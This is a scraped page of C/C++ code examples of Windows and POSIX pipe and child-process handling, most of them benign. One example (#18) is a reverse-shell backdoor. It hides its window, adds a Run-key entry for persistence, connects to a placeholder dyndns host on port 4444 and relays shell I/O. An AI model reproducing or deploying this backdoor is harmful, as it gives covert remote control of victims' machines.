Exemple #1
0
/*
  Una volta connessa la pipe, legge i dati in ingresso
  per prima cosa leggiamo 4 byte (lunghezza della stringa che seguirà)
  poi leggiamo la stringa che rappresenta il nome del file
*/
void IpcChat(IPCCALLBACK pfnCallback)
{
	DWORD len = 0;
	DWORD cbRead = 0;

	//leggiamo len (4 byte) entro 1 secondo
	if (!ReadFromPipe(&len, sizeof(len), 1000))
		return;

	//perché dovrebbe succedere? mah...
	if (len == 0)
		return;

	//se serve più spazio, allarghiamo il buffer
	//vengono allocati blocchi multipli di 1024 byte
	if ((!buf || len > bufSize) &&
		!ReAllocBuf(((len & -1024) | 1023) + 1))
		return;

	//infine, leggiamo il nome del file
	if (!ReadFromPipe(buf, len, 1000))
		return;

	//terminiamo la stringa
	buf[len] = '\0';

	//e chiamiamo la callback
	pfnCallback(buf);
}
int main(int argc, char* argv[])
{ 
   SECURITY_ATTRIBUTES saAttr; 
 
   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
   saAttr.bInheritHandle = TRUE; 
   saAttr.lpSecurityDescriptor = NULL; 

	// Create a pipe for the child process's STDOUT. 
 
   if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) 
	  ErrorExit(TEXT("StdoutRd CreatePipe")); 
	// Ensure the read handle to the pipe for STDOUT is not inherited.
   if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
	  ErrorExit(TEXT("Stdout SetHandleInformation")); 

   // Create a pipe for the child process's STDIN. 
 
   if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) 
	  ErrorExit(TEXT("Stdin CreatePipe")); 

// Ensure the write handle to the pipe for STDIN is not inherited. 
 
   if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
	  ErrorExit(TEXT("Stdin SetHandleInformation")); 

	
	// Create the child process. 
	CreateChildProcess(argc, argv);

	// Read from pipe that is the standard output for child process. 
	ReadFromPipe(); 
	return 0; 
} 
Exemple #3
0
DWORD WINAPI PipeThreadMonitor(LPVOID Arg)
{
	IPCPacket packet;

	for (;;)
	{
		// Wait for the client to connect
		if (!ConnectNamedPipe(g_Pipe, nullptr))
		{
			printf("An error occurred while waiting for a client connection\n");
			return 1;
		}

		for (bool runloop = true; runloop;)
		{
			// Wait for a client message to be sent
			if (!ReadFromPipe(&packet))
			{
				printf("Failed to read from client connection\n");
				
				runloop = false;
				break;
			}

			// Handle the message here
			switch (packet.MessageType)
			{
			case VM_CLIENT_READMEM_CMD:
				VmHandleReadMem(&packet);
				break;

			case VM_CLIENT_WRITEMEM_CMD:
				VmHandleWriteMem(&packet);
				break;

			case VM_CLIENT_SHUTDOWN_CMD:
				printf("GOT A SHUTDOWN MESSAGE TYPE\n");

				// Exit the loop
				runloop = false;
				break;

			default:
				printf("GOT AN UNKNOWN MESSAGE TYPE\n");

				packet.Status = 0;
				break;
			}

			// Send the resulting packet
			if (!WriteToPipe(&packet))
				return 1;
		}

		// Disconnect the client
		DisconnectNamedPipe(g_Pipe);
	}

	return 0;
}
Exemple #4
0
int main(){
	if (!InitializePipes()){
		std::cout << "Failed To Initialize Pipes" << std::endl;
		return -1;
	}
	TCHAR program[] = TEXT("python test.py");
	if (!CreateChildProcess(program)){
		std::cout << "Failed To Create Child Process" << std::endl;
		return -1;
	}
	//char cmd[] = "print(\"hello\")\n";	// The valid one
	char cmd[] = "print asdf\n";			// The invalid one
	if (!WriteToPipe(cmd, strlen(cmd) + 1)){
		std::cout << "Failed To Write" << std::endl;
		return -1;
	}
	char buf[128];
	int len = ReadFromPipe(buf, 128);
	if (len == 0){
		std::cout << "Failed To Read" << std::endl;
		return -1;
	}
	buf[len] = '\0';
	std::cout << "Contents read from Pipe :\n" << buf << std::endl;
	return 0;
}
Exemple #5
0
R_API char *r_sys_cmd_str_w32(const char *cmd) {
	char *ret = NULL;
	HANDLE out = NULL;
	SECURITY_ATTRIBUTES saAttr;
	char *argv0 = getexe (cmd);

	// Set the bInheritPlugin flag so pipe handles are inherited.
	saAttr.nLength = sizeof (SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;
	HANDLE fh;

	// Create a pipe for the child process's STDOUT.
	if (!CreatePipe (&fh, &out, &saAttr, 0))
		ErrorExit ("StdoutRd CreatePipe");

	// Ensure the read handle to the pipe for STDOUT is not inherited.
	if (!SetHandleInformation (fh, HANDLE_FLAG_INHERIT, 0) )
		ErrorExit ("Stdout SetHandleInformation");

	r_sys_create_child_proc_w32 (cmd, out);

	// Close the write end of the pipe before reading from the
	// read end of the pipe, to control child process execution.
	// The pipe is assumed to have enough buffer space to hold the
	// data the child process has already written to it.
	if (!CloseHandle (out))
		ErrorExit ("StdOutWr CloseHandle");
	ret = ReadFromPipe (fh);
	free (argv0);

	return ret;
}
Exemple #6
0
bool		ProcInOut::Exec(const std::string & cmd, std::string & out, DWORD timeout) {
	bool	fSuccess; 

	ZeroMemory(&saAttr, sizeof(saAttr));
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	saAttr.bInheritHandle = TRUE; 
	saAttr.lpSecurityDescriptor = NULL; 
	hSaveStdout = GetStdHandle(STD_OUTPUT_HANDLE); 
	if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) 
		return false; 
	if (! SetStdHandle(STD_OUTPUT_HANDLE, hChildStdoutWr)) 
		return false; 
	fSuccess = (DuplicateHandle(GetCurrentProcess(), hChildStdoutRd,
		GetCurrentProcess(), &hChildStdoutRdDup , 0,
		(FALSE ? false : true),
		(BOOL)DUPLICATE_SAME_ACCESS) != 0);
	if( !fSuccess )
		return false;
	CloseHandle(hChildStdoutRd);
	if (! CreateChildProcess(cmd)) {
		CloseHandle(hChildStdoutWr);
		CloseHandle(hChildStdoutRdDup);
		CloseHandle(piProcInfo.hProcess);
		CloseHandle(piProcInfo.hThread);
		return false;
	}
	if (! SetStdHandle(STD_OUTPUT_HANDLE, hSaveStdout)) 
		return false;
	if (!CloseHandle(hChildStdoutWr)) 
		return false;
	HANDLE			lpHandles[] = { piProcInfo.hProcess, hChildStdoutRdDup, NULL};
	DWORD			dwWait;
	DWORD			timerStart = GetTickCount();
	DWORD			timerEnd;
	for (;;) {
		dwWait = WaitForMultipleObjects(2, lpHandles, false, timeout);
		// process finished
		if (dwWait == WAIT_OBJECT_0 || dwWait == WAIT_ABANDONED_0 || dwWait == (WAIT_ABANDONED_0 + 1)) {
			break;
		}
		if (dwWait == (WAIT_OBJECT_0 + 1)) {
			timerEnd = GetTickCount();
			// timeout
			if (timerEnd < timerStart && ((MAXDWORD - timerStart) + timerEnd) >= timeout) // counter has been reinitialized
				break ;
			if (timerStart < timerEnd && (timerEnd - timerStart) >= timeout)
				break ;
			ReadFromPipe(out); 
		}
		if (dwWait == WAIT_TIMEOUT) {
			break;			
		}
	}
	CloseHandle(hChildStdoutRdDup);
	CloseHandle(piProcInfo.hProcess);
	CloseHandle(piProcInfo.hThread);
	return true; 
}
Exemple #7
0
int main(int argc, TCHAR *argv[])
{
	SECURITY_ATTRIBUTES saAttr;

	printf("\n->Start of parent execution.\n");

	// Set the bInheritHandle flag so pipe handles are inherited. 

	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	// Create a pipe for the child process's STDOUT. 
	if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
		ErrorExit(TEXT("StdoutRd CreatePipe"));

	// Ensure the read handle to the pipe for STDOUT is not inherited.
	if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
		ErrorExit(TEXT("Stdout SetHandleInformation"));

	// Create a pipe for the child process's STDIN. 
	if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
		ErrorExit(TEXT("Stdin CreatePipe"));

	// Ensure the write handle to the pipe for STDIN is not inherited. 
	if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
		ErrorExit(TEXT("Stdin SetHandleInformation"));

	// Create the child process. 

	CreateChildProcess();

	// Write to the pipe that is the standard input for a child process. 
	// Data is written to the pipe's buffers, so it is not necessary to wait
	// until the child process is running before writing data.
	
	//char* cmd = "plot sin(x)\n";
	char* cmd = "print \"haha\"\n";
	int size = strlen(cmd);
	WriteToPipe((LPVOID*)cmd, size);
	//WriteToPipe();
	//printf("\n->Contents of %s written to child STDIN pipe.\n", argv[1]);

	// Read from pipe that is the standard output for child process. 

	//printf("\n->Contents of child process STDOUT:\n\n", argv[1]);
	ReadFromPipe();

	printf("\n->End of parent execution.\n");

	// The remaining open handles are cleaned up when this process terminates. 
	// To avoid resource leaks in a larger application, close handles explicitly. 

	system("pause");
	return 0;
}
Exemple #8
0
// ポンプを回す
BOOL PumpPipe(RedirStdIOContext* pContext)
{
  BOOL r = TRUE;
  if(pContext->pfnWriteStdIn)
  {
    // stdin を与える
    if(!WriteToPipe(pContext, pContext->hStdInWritePipeDup, pContext->pfnWriteStdIn))
    {
      // コールバックから FALSE が返ってきた:もう与えるデータはない
      CloseHandle(pContext->hStdInWritePipeDup);
      pContext->pfnWriteStdIn = NULL;
    }
  }

  // どちらかのコールバックがもうデータはいらんと言うまで
  r = r && ReadFromPipe(pContext, pContext->StdOut.hRead, pContext->pfnReadStdOut);
  r = r && ReadFromPipe(pContext, pContext->StdErr.hRead, pContext->pfnReadStdErr);
  return r;
}
Exemple #9
0
bool ExecProcess(
	LPCTSTR cmdLine,
	const std::vector<uint8_t>& inData,
	std::vector<uint8_t>& outData
	)
{
   SECURITY_ATTRIBUTES saAttr; 
 
   printf("\n->Start of parent execution.\n");

// Set the bInheritHandle flag so pipe handles are inherited. 
   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
   saAttr.bInheritHandle = TRUE; 
   saAttr.lpSecurityDescriptor = NULL; 

// Create a pipe for the child process's STDOUT. 
   if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, BUFSIZE) ) 
      ErrorExit(TEXT("StdoutRd CreatePipe")); 

// Ensure the read handle to the pipe for STDOUT is not inherited.
   if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdout SetHandleInformation")); 

// Create a pipe for the child process's STDIN. 
   if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, inData.size())) 
      ErrorExit(TEXT("Stdin CreatePipe")); 

// Ensure the write handle to the pipe for STDIN is not inherited. 
   if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdin SetHandleInformation")); 
 
// Create the child process. 
   CreateChildProcess((LPTSTR)cmdLine);

// Write to the pipe that is the standard input for a child process. 
// Data is written to the pipe's buffers, so it is not necessary to wait
// until the child process is running before writing data.
   WriteToPipe(&inData[0], inData.size()); 
 
// Read from pipe that is the standard output for child process. 
   ReadFromPipe(outData); 

   printf("\n->End of parent execution.\n");

// The remaining open handles are cleaned up when this process terminates. 
// To avoid resource leaks in a larger application, close handles explicitly. 

   return true; 
	
}
Exemple #10
0
Child::Child() {

	fprintf(stderr,"Child:: Started\n");

	//Get STDIN and STDOUT Handles for Piping
	h_stdin = GetStdHandle(STD_INPUT_HANDLE); 
	h_stdout = GetStdHandle(STD_OUTPUT_HANDLE); 

	while(true){
		char* r = ReadFromPipe(h_stdin);
		DO(r);//Main Function!
	}

}
Exemple #11
0
  void cPipe::RunCommandLine(const diesel::string_t& sCommandLine)
  {
    CreateChildProcess(sCommandLine);

    ::CloseHandle(hChildStd_OUT_Wr);

    ReadFromPipe();

    ::CloseHandle(hChildStd_OUT_Rd);

    // Wait for the child to finish
    ::WaitForSingleObject(hChildProcess, INFINITE);

    hChildProcess = NULL;
  }
GdbDebugger::GdbDebugger(void)
{
   SECURITY_ATTRIBUTES saAttr; 
   //Set the bInheritHandle flag so pipe handles are inherited. 
   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
   saAttr.bInheritHandle = TRUE; 
   saAttr.lpSecurityDescriptor = NULL; 
   //Create a pipe for the child process's STDIN. 
   if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) 
      ErrorExit(TEXT("Stdin CreatePipe")); 	
   // Ensure the write handle to the pipe for STDIN is not inherited. 
   if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdin SetHandleInformation")); 
   // Create the child process.   
   CreateChildProcess();
   ReadFromPipe();
}
Exemple #13
0
int GetThreadedMessages(int pid, int readPipe[], int writePipe[]) {

	char readBuffer[80];

	ReadFromPipe(0, 0, readPipe, readBuffer);

	if (strlen(readBuffer) > 0) {

//		printf("Received String from process %d: %s\n", pid,
//				RemoveNewline(readBuffer));

		char* msg = ProcessMessage(readBuffer);

		//sends response to write pipe.
		WriteToPipe(0, 0, writePipe, msg);
	}

	return 0;
}
DWORD WINAPI listenAndSend(LPVOID lpParam)
{
	SOCKET* ClientSocket = (SOCKET*)lpParam;

	char recvbuf[DEFAULT_BUFLEN];
	int recvbuflen = DEFAULT_BUFLEN;
	int bufSize = 0;
	int iSendResult;
	for (;;) {
		ZeroMemory(&recvbuf, recvbuflen);
		bufSize = ReadFromPipe(recvbuf);
		iSendResult = send(*ClientSocket, recvbuf, bufSize, 0);
		if (iSendResult == SOCKET_ERROR) {
			printf("send failed with error: %d\n", WSAGetLastError());
			closesocket(*ClientSocket);
			WSACleanup();
			return 1;
		}
	}
}
vector<string> YaraHeuristic::analyseYara(string dump_to_analyse){

	string yara_rules_path = Config::getInstance()->getYaraRulesPath();
	string yara_exe_path = Config::getInstance()->getYaraExePath();	
	string yara_res_file = Config::getInstance()->getYaraResultPath();
	
	string raw_output = "";
	vector<string> matched_rules;
	W::SECURITY_ATTRIBUTES sa; 
    // Set the bInheritHandle flag so pipe handles are inherited. 
    sa.nLength = sizeof(W::SECURITY_ATTRIBUTES); 
    sa.bInheritHandle = TRUE; 
    sa.lpSecurityDescriptor = NULL; 

    // Create a pipe for the child process's STDOUT. 
    if ( ! W::CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0) ) {
		MYERRORE("Error creating Pipe for Yara");
        return vector<string>(); 
    }
    // Ensure the read handle to the pipe for STDOUT is not inherited
    if ( ! W::SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ){
		MYERRORE("Error creating Pipe for Yara");
        return vector<string>(); 
    }
	W::PROCESS_INFORMATION  piResults;
	if(launchYara(yara_exe_path,yara_rules_path, dump_to_analyse, yara_res_file,&piResults )){

		raw_output = ReadFromPipe(piResults);
		matched_rules = parseYaraOutput(raw_output);
		//MYINFO("Yara raw output result %s",raw_output.c_str());
	}
	else{
		MYERRORE("error launching Yara");
	}
	return matched_rules;

}
Exemple #16
0
DWORD main(int argc, char *argv[]) 
{ 
   SECURITY_ATTRIBUTES saAttr; 
   BOOL fSuccess; 
 
// Set the bInheritHandle flag so pipe handles are inherited. 
 
   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
   saAttr.bInheritHandle = TRUE; 
   saAttr.lpSecurityDescriptor = NULL; 
 
   // The steps for redirecting child process's STDOUT: 
   //     1. Save current STDOUT, to be restored later. 
   //     2. Create anonymous pipe to be STDOUT for child process. 
   //     3. Set STDOUT of the parent process to be write handle to 
   //        the pipe, so it is inherited by the child process. 
   //     4. Create a noninheritable duplicate of the read handle and
   //        close the inheritable read handle. 
 
// Save the handle to the current STDOUT. 
 
   hSaveStdout = GetStdHandle(STD_OUTPUT_HANDLE); 
 
// Create a pipe for the child process's STDOUT. 
 
   if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) 
      ErrorExit("Stdout pipe creation failed\n"); 
 
// Set a write handle to the pipe to be STDOUT. 
 
   if (! SetStdHandle(STD_OUTPUT_HANDLE, hChildStdoutWr)) 
      ErrorExit("Redirecting STDOUT failed"); 
 
// Create noninheritable read handle and close the inheritable read 
// handle. 

    fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd,
        GetCurrentProcess(), &hChildStdoutRdDup , 0,
        FALSE,
        DUPLICATE_SAME_ACCESS);
    if( !fSuccess )
        ErrorExit("DuplicateHandle failed");
    CloseHandle(hChildStdoutRd);

   // The steps for redirecting child process's STDIN: 
   //     1.  Save current STDIN, to be restored later. 
   //     2.  Create anonymous pipe to be STDIN for child process. 
   //     3.  Set STDIN of the parent to be the read handle to the 
   //         pipe, so it is inherited by the child process. 
   //     4.  Create a noninheritable duplicate of the write handle, 
   //         and close the inheritable write handle. 
 
// Save the handle to the current STDIN. 
 
   hSaveStdin = GetStdHandle(STD_INPUT_HANDLE); 
 
// Create a pipe for the child process's STDIN. 
 
   if (! CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) 
      ErrorExit("Stdin pipe creation failed\n"); 
 
// Set a read handle to the pipe to be STDIN. 
 
   if (! SetStdHandle(STD_INPUT_HANDLE, hChildStdinRd)) 
      ErrorExit("Redirecting Stdin failed"); 
 
// Duplicate the write handle to the pipe so it is not inherited. 
 
   fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdinWr, 
      GetCurrentProcess(), &hChildStdinWrDup, 0, 
      FALSE,                  // not inherited 
      DUPLICATE_SAME_ACCESS); 
   if (! fSuccess) 
      ErrorExit("DuplicateHandle failed"); 
 
   CloseHandle(hChildStdinWr); 
 
// Now create the child process. 
 
   if (! CreateChildProcess()) 
      ErrorExit("Create process failed"); 
 
// After process creation, restore the saved STDIN and STDOUT. 
 
   if (! SetStdHandle(STD_INPUT_HANDLE, hSaveStdin)) 
      ErrorExit("Re-redirecting Stdin failed\n"); 
 
   if (! SetStdHandle(STD_OUTPUT_HANDLE, hSaveStdout)) 
      ErrorExit("Re-redirecting Stdout failed\n"); 
 
// Get a handle to the parent's input file. 
 
   if (argc > 1) 
      hInputFile = CreateFile(argv[1], GENERIC_READ, 0, NULL, 
         OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); 
   else 
      hInputFile = hSaveStdin; 
 
   if (hInputFile == INVALID_HANDLE_VALUE) 
      ErrorExit("no input file\n"); 
 
// Write to pipe that is the standard input for a child process. 
 
   WriteToPipe(); 
 
// Read from pipe that is the standard output for child process. 
 
   ReadFromPipe(); 
 
   return 0; 
} 
int ForkAndPipe(const char * const argv[], VSILFILE* fin, VSILFILE* fout)
{
    pid_t pid;
    int pipe_in[2] = { -1, -1 };
    int pipe_out[2] = { -1, -1 };
    int pipe_err[2] = { -1, -1 };
    int i;

    if (pipe(pipe_in) ||
            pipe(pipe_out) ||
            pipe(pipe_err))
        goto err_pipe;

    pid = fork();
    if (pid == 0)
    {
        /* Close unused end of pipe */
        close(pipe_in[OUT_FOR_PARENT]);
        close(pipe_out[IN_FOR_PARENT]);
        close(pipe_err[IN_FOR_PARENT]);

        dup2(pipe_in[IN_FOR_PARENT], fileno(stdin));
        dup2(pipe_out[OUT_FOR_PARENT], fileno(stdout));
        dup2(pipe_err[OUT_FOR_PARENT], fileno(stderr));

        execvp(argv[0], (char* const*) argv);

        char* pszErr = strerror(errno);

        fprintf(stderr, "An error occured while forking process %s : %s", argv[0], pszErr);

        exit(1);
    }
    else if (pid < 0)
    {
        CPLError(CE_Failure, CPLE_AppDefined, "fork() failed");
        goto err;
    }
    else
    {
        /* Close unused end of pipe */
        close(pipe_in[IN_FOR_PARENT]);
        close(pipe_out[OUT_FOR_PARENT]);
        close(pipe_err[OUT_FOR_PARENT]);

        /* Ignore SIGPIPE */
#ifdef SIGPIPE
        signal (SIGPIPE, SIG_IGN);
#endif

        if (fin != NULL)
            WriteToPipe(fin, pipe_in[OUT_FOR_PARENT]);
        close(pipe_in[OUT_FOR_PARENT]);

        if (fout != NULL)
            ReadFromPipe(pipe_out[IN_FOR_PARENT], fout);
        close(pipe_out[IN_FOR_PARENT]);

        CPLString osName;
        osName.Printf("/vsimem/child_stderr_" CPL_FRMT_GIB, CPLGetPID());
        VSILFILE* ferr = VSIFOpenL(osName.c_str(), "w");
        ReadFromPipe(pipe_err[IN_FOR_PARENT], ferr);
        close(pipe_err[IN_FOR_PARENT]);
        VSIFCloseL(ferr);
        vsi_l_offset nDataLength = 0;
        GByte* pData = VSIGetMemFileBuffer(osName.c_str(), &nDataLength, TRUE);
        if (pData)
            CPLError(CE_Failure, CPLE_AppDefined, "[%s error] %s", argv[0], pData);
        CPLFree(pData);

        while(1)
        {
            int status;
            int ret = waitpid (pid, &status, 0);
            if (ret < 0)
            {
                if (errno != EINTR)
                {
                    break;
                }
            }
            else
                break;
        }
        return pData == NULL;
    }
err_pipe:
    CPLError(CE_Failure, CPLE_AppDefined, "Could not create pipe");
err:
    for(i=0; i<2; i++)
    {
        if (pipe_in[i] >= 0)
            close(pipe_in[i]);
        if (pipe_out[i] >= 0)
            close(pipe_out[i]);
        if (pipe_err[i] >= 0)
            close(pipe_err[i]);
    }

    return FALSE;
}
Exemple #18
0
int main(int argc, char** argv)
{
	char dyndns[] ="www.youradress.com";

	//Get the CWD and append the new Filename for the Copy-Method of the exe itself.
	//Note: Ugly one... leave it in his dark place alone and hope it will die someday..
	char * buffer;
	buffer = _getcwd(NULL, 0);
	int counter =0;

	for(int i = 0;;i++)
	{
		if(counter == 2)
		{
			if(buffer[i] == '\\' || buffer[i] == '>')
			{
				buffer[i] = 0;
				break;
			}
		}

		if(buffer[i]=='\\')
		{
			counter++;
		}
	}
	strcat(buffer,"\\yourfilename.exe");

	CopyFileA(argv[0],buffer,false);
		

#if !DEBUG
	//Hideing the console window

	HWND hWnd = GetConsoleWindow();
	ShowWindow( hWnd, SW_HIDE );

	//Setting the console name for fun and profit
	//char name[]="SPARTA";
	//SetConsoleTitleA(name);

	char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

	//char cwd[1024];
	//char asf[] = "lolololol";
	//_getcwd(cwd,1024);
	//strcat(cwd,"\\");
	//strcpy(cwd,**argv);
	//strcat(cwd,argv[0]);

	DWORD shit=0;
	RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit);
#endif

	//Testausgabe
#if DEBUG
	printf("Socket Client\n");
#endif

	//Variablen initialisieren
	long returnvalue;
	SOCKADDR_IN addr;
	SECURITY_ATTRIBUTES saAttr;

#if DEBUG
	printf("\n->Start of parent execution.\n");
#endif

	// Set the bInheritHandle flag so pipe handles are inherited. 

	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	saAttr.bInheritHandle = TRUE; 
	saAttr.lpSecurityDescriptor = NULL; 

	// Create a pipe for the child process's STDOUT. 

	if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) 
		exit(2); 

	// Ensure the read handle to the pipe for STDOUT is not inherited.

	if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
		exit(3); 

	// Create a pipe for the child process's STDIN. 

	if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) 
		exit(4); 

	// Ensure the write handle to the pipe for STDIN is not inherited. 

	if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
		exit(5); 

	// Create the child process. 

	CreateChildProcess();

	//Weitere SOCKET Abhandlungen...

	//Socket Verfügbarkeit prüfen
	do
	{
		returnvalue = StartWinsock();
		if(returnvalue != 0)
		{
#if DEBUG
			printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue);
#endif
			Sleep(60000);
		}
#if DEBUG
		else
		{
			printf("[+] Winsock gestartet!\n");
		}
#endif
	}
	while(returnvalue != 0);

	//Socket initialisieren
	do
	{
		sock = socket(AF_INET,SOCK_STREAM,0);
		if(sock == INVALID_SOCKET)
		{
#if DEBUG
			printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
#endif
			Sleep(60000);
		}
#if DEBUG
		else
		{
			printf("[+] Socket erstellt!\n");
		}
#endif
	}
	while(sock == INVALID_SOCKET);

	//Port und IP übergabe
	memset(&addr,0,sizeof(SOCKADDR_IN));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(4444);
	//addr.sin_addr.s_addr = inet_addr("127.0.0.1");

	do
	{
		returnvalue = getAddrFromString(dyndns,&addr);
		if(returnvalue == SOCKET_ERROR)
		{
#if DEBUG
		printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n");
#endif
		Sleep(60000);
		}
#if DEBUG
		else
		{
		printf("[+] IP aufgelöst!\n");
		}
#endif
	}
	while(returnvalue == SOCKET_ERROR);

	//Verbindungsaufbau
	do
	{
		returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR));
		if(returnvalue == SOCKET_ERROR)
		{
#if DEBUG
			printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError());
#endif
			Sleep(60000);
		}
#if DEBUG
		else
		{
			printf("[+] Verbindung hergestellt mit %s\n",argv[1]);
		}
#endif
	}
	while(returnvalue == SOCKET_ERROR);

	for(;;)
	{
#if DEBUG
		//Warten auf Input
		printf("[-] Warte auf Input ...\n\n");
#endif

		WriteToPipe(); 

		ReadFromPipe();

		if(exitOnForce)
		{
#if DEBUG
			printf("\n->SYSTEM GOING DOWN!\n");
#endif
			break;
		}
	}
#if DEBUG
	printf("\n->End of parent execution.\n");
#endif

	// The remaining open handles are cleaned up when this process terminates. 
	// To avoid resource leaks in a larger application, close handles explicitly. 

	return 0;
}
/*
* Runs a console based program and puts the results in the "results params"
*
* @param cmdLine Complete path of the executible
* @param results Output parameter that will hold all the results.
* @return
*/
bool TConsoleRunner::Run(AnsiString cmdLine, vector<string>* results, HWND parentHandle){
    SECURITY_ATTRIBUTES saAttr; 
    BOOL fSuccess;
 
    // Set the bInheritHandle flag so pipe handles are inherited.

    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;

    // Get the handle to the current STDOUT.

    //hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
 
    // Create a pipe for the child process's STDOUT.
 
    if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)){
        lastError = "Stdout pipe creation failed";
        return false;
    }

    // Ensure the read handle to the pipe for STDOUT is not inherited.

    SetHandleInformation( hChildStdoutRd, HANDLE_FLAG_INHERIT, 0);

    // Create a pipe for the child process's STDIN.
 
    if (! CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)){
        lastError = "Stdin pipe creation failed";
        return false;
    }

    // Ensure the write handle to the pipe for STDIN is not inherited.
 
	SetHandleInformation( hChildStdinWr, HANDLE_FLAG_INHERIT, 0);
 
    // Now create the child process.
   
    fSuccess = CreateChildProcess(cmdLine);
    if (! fSuccess){
        lastError = "Create process failed with";
        return false;
    }

    if(parentHandle != NULL){
        SendMessage(parentHandle, PROCESS_STARTED, childPid, (LPARAM)childProcessHandle);
    }
    // Read from pipe that is the standard output for child process.
    ReadFromPipe(results, parentHandle);


    WaitForSingleObject(childProcessHandle, 4000);
    
    if(GetExitCodeProcess(childProcessHandle, &exitCode) == FALSE){
        exitCode = -1;
    }

    if(exitCode == STILL_ACTIVE){
        exitCode = -1;
    }

    if(parentHandle != NULL){
        SendMessage(parentHandle, PROCESS_TERMINATED, childPid, (LPARAM)childProcessHandle);
    }
    return true;
 

}
void main (int argc, char *argv[])
{
   HANDLE   hPipe;
   TCHAR    szPipeName[256];
   TCHAR    szServerName[128] = "\\\\.";
   EX_BUF   exBuf = {0};
   DWORD    dwResponce = ERROR_ACCESS_DENIED;


   if (argc < 4)
      Usage(argv[0]);
   
   //
   // Verify expnese input
   //
   
   if (!lstrcmpi(argv[2],TEXT("Personal"))) {
      exBuf.dwType = ACCESS_FUND_PERSONAL;
   }
   else if (!lstrcmpi(argv[2],TEXT("Corporate"))) {
      exBuf.dwType = ACCESS_FUND_CORPORATE;
   }
   else if (!lstrcmpi(argv[2],TEXT("Transfer"))) {
      exBuf.dwType = ACCESS_FUND_TRANSFER;
   }
   else
      Usage(argv[0]);
   
   if (!(exBuf.dwAmmount = atoi(argv[3])))
       Usage(argv[0]);
   
   printf("expense: %s Ammount: %u\n",ExNames[exBuf.dwType],exBuf.dwAmmount); 
   
   
   _stprintf_s(szPipeName, 256 * sizeof(TCHAR),"%s\\pipe\\AuthzSamplePipe",szServerName);

   // Wait for an instance of the pipe
   if (!WaitNamedPipe(szPipeName,NMPWAIT_WAIT_FOREVER) )
      HandleError(GetLastError(),TEXT("WaitNamedPipe"),TRUE,TRUE);
   

   // Connect to pipe
   hPipe = CreateFile(  szPipeName, GENERIC_READ|GENERIC_WRITE, 0,
                        NULL, OPEN_EXISTING, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) 
      HandleError(GetLastError(),TEXT("CreateFile"),TRUE,TRUE);

   // Send off request
   WriteToPipe(hPipe, (PBYTE)&exBuf, sizeof(EX_BUF));
   
   // wait till server responds with one DWORD
   if (!ReadFromPipe(hPipe,(PBYTE)&dwResponce,sizeof(dwResponce))) {
      printf("Error reading form Svr\n");
      return;
   }

   switch(dwResponce)
   {
   case EXPENSE_APPROVED:
